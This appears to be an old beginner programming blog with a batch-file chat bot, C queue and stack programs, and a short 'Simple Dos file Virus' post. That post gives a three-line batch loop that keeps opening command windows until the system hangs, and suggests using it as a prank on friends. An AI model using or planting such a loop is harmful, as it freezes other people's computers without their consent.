You feel excited to learn computer languages

Then you are at the right place. Computer languages are most fun thing you have ever seen. Use this excellent languages and have a nice future...

How computer can help you?

I will ask how it can not? From the latest trend of social networking sites like Facebook, Twitter to the extended use of computer in our house hold devices. You can be benefited from computer in the every aspect of life.

What web technology?

It is the blessings of web technology, that brings you here and you are reading my post now. Strange huh!! Not at all. Use my web technology tutorials and understand, how they can help you for better marketing and advertising systems.

How Mobile technology can help us?

You have answer right? I know. But in my tutorials I will cover some unique features that may add some information in your hard disk too. Sounds good? Check them...

Computer and future

Yes that is the most important question to me. What is next? What is going to be the next big thing for us? Well I will answer them in my blog. Check the corresponding section..

Monday, October 4, 2010

BOT made of Batch file

Hello to all. This simple Batch file you can use as a talking BOT. Here is the code.
 ------------------------------------------------------------------------------------------
@echo off
echo Hello friend. I am your talking robot. Press F6 and enter after each input. J
echo What is your name?
copy con temp
cls
echo Hello
type temp

echo How old are you?
copy con temp
cls
echo ok. you are
type temp
echo years

echo Bunny is my best friend. Who is your?
copy con temp
cls
echo I also like to meet
type temp

echo bye now. See you later. :)
del temp
 ------------------------------------------------------------------------------------------ 
As you can see the I have stored each input given by the user in a file. We are using Dos, press F6 and enter then the file will be saved. Now using the type command you can process the input given by the user. You can use as many as options and questionnaires  in this bot. Enjoy all.
This program can interact with the user. It will give answer to your question. Also will ask user different question.

Simple Dos file Virus

Hello folks. Dos is always a great fun. Here I present a 3 lines code that can hang your system once you run the batch file. This file can be used as a fun trick with your friends. With little more addition with it, you can make this work like a virus too.
Here is the code
---------------------------------------------------
:l
Start cmd
Goto l
---------------------------------------------------

How to make this
1.Open Notepad. Then type the code.
2. Save it by the extension called .bat. e.g “virus.bat”.
3. Then just double click it. Your system will halt. Just restart the system, it will work fine. Have fun.

Implements Queue in C language

C language is always very useful to implements data structure. This program will be highly helpful for the students and professional to use queue using C language.

#include <stdio.h>
#include<stdlib.h>
#define MAX 9
void push(int queue[],int *front,int *rear,int item)
{
 if((*front==0 && *rear==MAX) || (*rear+1==*front))
 {
  printf("\nOver Flow.....");
  return;
 }
 else if(*front==-1)
 {
  *front=0;
  *rear=0;
 }
 else if(*rear==MAX)
 {
  *rear=0;
 }
 else
 {
  *rear=*rear+1;
 }
 queue[*rear]=item;
}
int pop(int queue[],int *front,int *rear)
{
 int a;
 if(*front==-1)
 {
  printf("\nUnder flow......");
  return -1;
 }
 else
 {
 a=queue[*front];
 if(*front==MAX)
 {
  *front=0;
 }
 else if(*front==*rear)
 {
  *front=-1;
  *rear=-1;
 }
 else
 {
  *front=*front+1;
 }
 return a;
 }
}
void display(int queue[],int front,int rear)
{
 int i;
 if(front<=rear)
 {
  for(i=front;i<=rear;i++)
  {
   printf("\nPosition: %d\tVaue: %d",i,queue[i]);
  }
 }
 else
 {
  for(i=0;i<=rear;i++)
  {
   printf("\nPosition: %d\tVaue: %d",i,queue[i]);
  }
  for(i=front;i<=MAX;i++)
  {
   printf("\nPosition: %d\tVaue: %d",i,queue[i]);
  }
 }
}
int menu()
{
 int c;
 printf("\n1.Insert\n2.Delete\n3.Display\n4.Exit");
 printf("\nEnter your choice: ");
 scanf("%d",&c);
 return c;
}
void main()
{
 int queue[10];
 int front=-1,rear=-1;
 int c,item;
 while(1)
 {
  c=menu();
  switch(c)
  {
   case 1:
    printf("Enter item to insert: ");
    scanf("%d",&item);
    push(queue,&front,&rear,item);
    break;
   case 2:
    item=pop(queue,&front,&rear);
    if(item!=-1)
    {
     printf("%d has been deleted...",item);
    }
    break;
   case 3:
    display(queue,front,rear);
    break;
   case 4:
    exit(0);
   default:
    printf("\nWrong choice");
  }
 }
}

Advance Stack Using C language

Stack using C language with advance options.

#include <stdio.h>
#include<stdlib.h>
#define MAX 9
void push(int stack[],int *top,int item)
{
 if(*top==MAX)
 {
  printf("\nOver Flow.....");
  return;
 }
 else
 {
  *top=*top+1;
  stack[*top]=item;
 }
}
int pop(int stack[],int *top)
{
 int a;
 if(*top==-1)
 {
  printf("\nUnder flow......");
  return -1;
 }
 else
 {
  a=stack[*top];
  *top=*top-1;
  return a;
 }
}
void display(int stack[],int top)
{
 int i;
 for(i=0;i<=top;i++)
 {
  printf("\nPosition: %d\tVaue: %d",i,stack[i]);
 }
}
void main()
{
 int stack[10];
 int top=-1;
 int c,item;
 while(1)
 {
  printf("\n1.Push\n2.Pop\n3.Display\n4.Exit");
  printf("\nEnter your choice: ");
  scanf("%d",&c);
  switch(c)
  {
   case 1:
    printf("Enter item to insert: ");
    scanf("%d",&item);
    push(stack,&top,item);
    break;
   case 2:
    item=pop(stack,&top);
    if(item!=-1)
     printf("\n%d is deleted",item);
    break;
   case 3:
    display(stack,top);
    break;
   case 4:
    exit(0);
   default:
    printf("\nWrong choice");
  }
 }
}

Stack using C Language

This is a very simple stack progam using C language

#include <stdio.h>
#include<stdlib.h>
#define MAX 9
int stack[10];
int top=-1;
void push(int item)
{
 if(top==MAX)
 {
  printf("\nOver Flow.....");
  return;
 }
 else
 {
  top=top+1;
  stack[top]=item;
 }
}
int pop()
{
 int a;
 if(top==-1)
 {
  printf("\nUnder flow......");
  return -1;
 }
 else
 {
  a=stack[top];
  top=top-1;
  return a;
 }
}
void display()
{
 int i;
 for(i=0;i<=top;i++)
 {
  printf("\nPosition: %d\tVaue: %d",i,stack[i]);
 }
}
void main()
{
 int c,item;
 while(1)
 {
  printf("\n1.Push\n2.Pop\n3.Display\n4.Exit");
  printf("\nEnter your choice: ");
  scanf("%d",&c);
  switch(c)
  {
   case 1:
    printf("Enter item to insert: ");
    scanf("%d",&item);
    push(item);
    break;
   case 2:
    item=pop();
    if(item!=-1)
     printf("\n%d is deleted",item);
    break;
   case 3:
    display();
    break;
   case 4:
    exit(0);
   default:
    printf("\nWrong choice");
  }
 }
}